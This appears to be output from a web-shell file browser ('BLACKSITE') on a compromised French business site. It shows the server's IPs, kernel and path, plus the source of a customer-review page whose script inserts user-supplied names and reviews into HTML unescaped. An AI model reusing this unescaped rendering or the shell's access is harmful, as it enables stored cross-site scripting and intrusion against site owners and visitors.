BLACKSITE
:
216.73.216.68
:
54.36.91.62 / www.econfortplus.fr
:
Linux webm012.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
:
/
home
/
econfoy
/
www
/
Upload File:
files >> /home/econfoy/www/reviews.php
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8" /> <title>Review & Rating </title> <meta name="viewport" content="width=device-width, initial-scale=1" /> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <!-- Font Awesome --> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/> <!-- Bootstrap JS --> <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/style.css" rel="stylesheet"> <!-- Responsive File --> <link href="assets/css/responsive.css" rel="stylesheet"> <!-- Color File --> <link href="assets/css/color.css" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700;800&family=Yantramanav:wght@300;400;500;700;900&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/flaticon/3.0.0/flaticon.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <link rel="shortcut icon" href="assets/images/favicon.png" type="image/x-icon"> <link rel="icon" href="assets/images/favicon.png" type="image/x-icon"> <!-- Responsive --> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> <script type='text/javascript' src='https://platform-api.sharethis.com/js/sharethis.js#property=601e75803d01430011c105c8&product=image-share-buttons' async='async'></script> <style> @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@500&display=swap'); * { margin: 0; padding: 0; font-family: 'Poppins', sans-serif; } body { background-image: linear-gradient(to top, #e6e9f0 0%, #eef1f5 100%); background-repeat: no-repeat; background-attachment: fixed; } .progress-label-left { float: left; margin-right: 0.5em; line-height: 1em; } .progress-label-right { float: right; margin-left: 0.3em; line-height: 1em; } .star-light { color:#e9ecef; } .row { display: flex; justify-content: center; align-items: center; padding: 20px; } </style> </head> <body> <div> <!-- End Main Header --> <?php include "header.php"; ?> <!-- Hidden Sidebar --> <section class="hidden-sidebar close-sidebar"> <div class="wrapper-box"> <div class="content-wrapper"> <div class="hidden-sidebar-close"><span class="flaticon-remove"></span></div> <div class="text-widget sidebar-widget"> <div class="logo"><a href="index.php"><img src="assets/images/logo.png" alt=""></a></div> <div class="text">Demoralized by the charms of pleasure of the moment so blinded by desire that they cannot foresees the pain.</div> </div> <!-- PDF Widget --> <div class="pdf-widget sidebar-widget"> <div class="row"> <div class="col-sm-6 column"> <div class="content"> <div class="icon"><img src="assets/images/icons/icon-8.png" alt=""></div> <h4>Sender <br> Instructions</h4> </div> </div> <div class="col-sm-6 column"> <div class="content"> <div class="icon"><img src="assets/images/icons/icon-8.png" alt=""></div> <h4>Sender <br> Instructions</h4> </div> </div> </div> </div> <!-- Contact Widget --> <!-- Link Btn --> <div class="link-btn"><a href="#" class="theme-btn btn-style-one style-two"><span><i class="flaticon-up-arrow"></i>Purchase Our Theme </span></a></div> </div> </div> </section> <!--Search Popup--> <div id="search-popup" class="search-popup"> <div class="close-search theme-btn"><span class="flaticon-remove"></span></div> <div class="popup-inner"> <div class="overlay-layer"></div> <div class="search-form"> <form method="post" action="http://st.ourhtmldemo.com/new/Transida2/index.php"> <div class="form-group"> <fieldset> <input type="search" class="form-control" name="search-input" value="" placeholder="Search Here" required> <input type="submit" value="Search Now!" class="theme-btn"> </fieldset> </div> </form> </div> </div> </div> <!-- Page Title --> <section class="page-title" style="background-image: url(assets/images/main-slider/slider-1.jpg);"> <!--<div class="background-text"> <div data-parallax='{"x": 100}'> <div class="text-1">transida</div> <div class="text-2">transida</div> </div> </div> --> <div class="auto-container"> <div class="content-box"> <div class="content-wrapper"> <div class="title"> <h1>Avis des clients</h1> </div> <!--<ul class="bread-crumb clearfix"> <li><a href="index.php">Home</a></li> <li>Services</li> </ul>--> </div> </div> </div> </section> <!-- serivice from here --> <section class="services-section style-two "> <div class="auto-container"> <div class="sec-title text-center"> <div class="sub-title">Avis</div> <h2>Veuillez écrire honnêtement votre avis sur les services econfortPlus</h2> </div> </div> </section> </div> <section class="hidden-sidebar close-sidebar"> <div class="wrapper-box"> <div class="content-wrapper"> <div class="hidden-sidebar-close"><span class="flaticon-remove"></span></div> <div class="text-widget sidebar-widget"> <div class="logo"><a href="index.php"><img src="assets/images/logo.png" alt=""></a></div> <div class="text">Demoralized by the charms of pleasure of the moment so blinded by desire that they cannot foresees the pain.</div> </div> <!-- PDF Widget --> <div class="pdf-widget sidebar-widget"> <div class="row"> <div class="col-sm-6 column"> <div class="content"> <div class="icon"><img src="assets/images/icons/icon-8.png" alt=""></div> <h4>Sender <br> Instructions</h4> </div> </div> <div class="col-sm-6 column"> <div class="content"> <div class="icon"><img src="assets/images/icons/icon-8.png" alt=""></div> <h4>Sender <br> Instructions</h4> </div> </div> </div> </div> <!-- Contact Widget --> <!-- Link Btn --> <div class="link-btn"><a href="#" class="theme-btn btn-style-one style-two"><span><i class="flaticon-up-arrow"></i>Purchase Our Theme </span></a></div> </div> </div> </section> <div class="container"> <div class="card"> <div class="card-header">Avis</div> <div class="card-body"> <div class="row"> <div class="col-sm-3 text-center"> <img src="assets/images/Macbook-Air-econfort-plus.png" alt=""> <button type="button" name="add_review" id="add_review" class="btn btn-primary form-control mt-3">Ajouter un Avis</button> </div> <div class="col-sm-4 text-center"> <h1 class="text-warning mt-4 mb-4"> <b><span id="average_rating">0.0</span> / 5</b> </h1> <div class="mb-3"> <i class="fas fa-star star-light mr-1 main_star"></i> <i class="fas fa-star star-light mr-1 main_star"></i> <i class="fas fa-star star-light mr-1 main_star"></i> <i class="fas fa-star star-light mr-1 main_star"></i> <i class="fas fa-star star-light mr-1 main_star"></i> </div> <h3><span id="total_review">0</span> Avis</h3> </div> <div class="col-sm-4"> <p> <div class="progress-label-left"><b>5</b> <i class="fas fa-star text-warning"></i></div> <div class="progress-label-right">(<span id="total_five_star_review">0</span>)</div> <div class="progress"> <div class="progress-bar bg-warning" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" id="five_star_progress"></div> </div> </p> <p> <div class="progress-label-left"><b>4</b> <i class="fas fa-star text-warning"></i></div> <div class="progress-label-right">(<span id="total_four_star_review">0</span>)</div> <div class="progress"> <div class="progress-bar bg-warning" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" id="four_star_progress"></div> </div> </p> <p> <div class="progress-label-left"><b>3</b> <i class="fas fa-star text-warning"></i></div> <div class="progress-label-right">(<span id="total_three_star_review">0</span>)</div> <div class="progress"> <div class="progress-bar bg-warning" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" id="three_star_progress"></div> </div> </p> <p> <div class="progress-label-left"><b>2</b> <i class="fas fa-star text-warning"></i></div> <div class="progress-label-right">(<span id="total_two_star_review">0</span>)</div> <div class="progress"> <div class="progress-bar bg-warning" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" id="two_star_progress"></div> </div> </p> <p> <div class="progress-label-left"><b>1</b> <i class="fas fa-star text-warning"></i></div> <div class="progress-label-right">(<span id="total_one_star_review">0</span>)</div> <div class="progress"> <div class="progress-bar bg-warning" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" id="one_star_progress"></div> </div> </p> </div> </div> </div> </div> <h3 class="mt-3 ml-4">Avis:</h3> <div class="mt-3 " id="review_content"> </div> </div> </body> </html> <div id="review_modal" class="modal" tabindex="-1" role="dialog"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Ajouter un Avis</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <h4 class="text-center mt-2 mb-4"> <i class="fas fa-star star-light submit_star mr-1" id="submit_star_1" data-rating="1"></i> <i class="fas fa-star star-light submit_star mr-1" id="submit_star_2" data-rating="2"></i> <i class="fas fa-star star-light submit_star mr-1" id="submit_star_3" data-rating="3"></i> <i class="fas fa-star star-light submit_star mr-1" id="submit_star_4" data-rating="4"></i> <i class="fas fa-star star-light submit_star mr-1" id="submit_star_5" data-rating="5"></i> </h4> <div class="form-group"> <label for="">Votre clé:</label> <input type="text" name="user_name" id="user_name" class="form-control" placeholder="Votre clé" /> </div> <div class="form-group"> <label for="">votre Avis:</label> <textarea name="user_review" id="user_review" class="form-control" placeholder="Avis"></textarea> </div> <div class="form-group text-center mt-4"> <button type="button" class="btn btn-primary" id="save_review">Ajouter</button> </div> </div> </div> </div> </div> <!--Main Footer--> <?php include "footer.php"; ?> <!--End pagewrapper--> <!--Scroll to top--> <div class="scroll-to-top scroll-to-target" data-target="html"><span class="flaticon-right-arrow-6"></span> </div> <script src="assets/js/jquery.js"></script> <script src="assets/js/popper.min.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/bootstrap-select.min.js"></script> <script src="assets/js/jquery.fancybox.js"></script> <script src="assets/js/isotope.js"></script> <script src="assets/js/owl.js"></script> <script src="assets/js/appear.js"></script> <script src="assets/js/wow.js"></script> <script src="assets/js/lazyload.js"></script> <script src="assets/js/scrollbar.js"></script> <script src="assets/js/TweenMax.min.js"></script> <script src="assets/js/swiper.min.js"></script> <script src="assets/js/jquery.polyglot.language.switcher.js"></script> <script src="assets/js/jquery.ajaxchimp.min.js"></script> <script src="assets/js/parallax-scroll.js"></script> <!-- <script src="assets/js/script.js"></script> --> <script> $(document).ready(function(){ var rating_data = 0; $('#add_review').click(function(){ $('#review_modal').modal('show'); }); $(document).on('mouseenter', '.submit_star', function(){ var rating = $(this).data('rating'); reset_background(); for(var count = 1; count <= rating; count++) { $('#submit_star_'+count).addClass('text-warning'); } }); function reset_background() { for(var count = 1; count <= 5; count++) { $('#submit_star_'+count).addClass('star-light'); $('#submit_star_'+count).removeClass('text-warning'); } } $(document).on('mouseleave', '.submit_star', function(){ reset_background(); for(var count = 1; count <= rating_data; count++) { $('#submit_star_'+count).removeClass('star-light'); $('#submit_star_'+count).addClass('text-warning'); } }); $(document).on('click', '.submit_star', function(){ rating_data = $(this).data('rating'); }); $('#save_review').click(function(){ var user_name = $('#user_name').val(); var user_review = $('#user_review').val(); if(rating_data == 0 ){ alert("Aucune étoile spécifiée"); return false; } if(user_name == '' || user_review == '') { alert("Veuillez remplir les deux champs"); return false; } else { $.ajax({ url:"submit_rating.php", method:"POST", data:{rating_data:rating_data, user_name:user_name, user_review:user_review}, success:function(data) { $('#review_modal').modal('hide'); load_rating_data(); alert(data); } }) } }); load_rating_data(); function load_rating_data() { $.ajax({ url:"submit_rating.php", method:"POST", data:{action:'load_data'}, dataType:"JSON", success:function(data) { $('#average_rating').text(data.average_rating); $('#total_review').text(data.total_review); var count_star = 0; $('.main_star').each(function(){ count_star++; if(Math.ceil(data.average_rating) >= count_star) { $(this).addClass('text-warning'); $(this).addClass('star-light'); } }); $('#total_five_star_review').text(data.five_star_review); $('#total_four_star_review').text(data.four_star_review); $('#total_three_star_review').text(data.three_star_review); $('#total_two_star_review').text(data.two_star_review); $('#total_one_star_review').text(data.one_star_review); $('#five_star_progress').css('width', (data.five_star_review/data.total_review) * 100 + '%'); $('#four_star_progress').css('width', (data.four_star_review/data.total_review) * 100 + '%'); $('#three_star_progress').css('width', (data.three_star_review/data.total_review) * 100 + '%'); $('#two_star_progress').css('width', (data.two_star_review/data.total_review) * 100 + '%'); $('#one_star_progress').css('width', (data.one_star_review/data.total_review) * 100 + '%'); if(data.review_data.length > 0) { var html = ''; for(var count = 0; count < data.review_data.length; count++) { html += '<div class="row mb-3">'; html += '<div class="col-sm-1"></div></div>'; html += '<div class="col-sm-11">'; html += '<div class="card">'; html += '<div class="card-header"><b><img src="https://cdn-icons-png.flaticon.com/512/3643/3643648.png" width="30px" alt=""> '+data.review_data[count].user_name+'</b></div>'; html += '<div class="card-body">'; for(var star = 1; star <= 5; star++) { var class_name = ''; if(data.review_data[count].rating >= star) { class_name = 'text-warning'; } else { class_name = 'star-light'; } html += '<i class="fas fa-star '+class_name+' mr-1"></i>'; } html += '<br />'; html += data.review_data[count].user_review; if(data.review_data[count].admin_reply != null) { html += '<hr/>'; html += '<div class="card-header"><b><img src="https://www.udaf08.com/wp-content/uploads/2017/04/icon-administrateur-protection-personnes-departemantale-associations-familiales-copie-300x300.png" width="30px" alt=""> Gérant de l\'entreprise econfort plus</b></div>'; html += '<div class="card-body">'; html += data.review_data[count].admin_reply; html += '</div>'; html += '</div>'; } html += '</div>'; html += '<!--<div class="card-footer text-right"> '+data.review_data[count].datetime+'</div>-->'; html += '</div>'; html += '</div>'; html += '</div>'; } $('#review_content').html(html); } } }) } }); </script>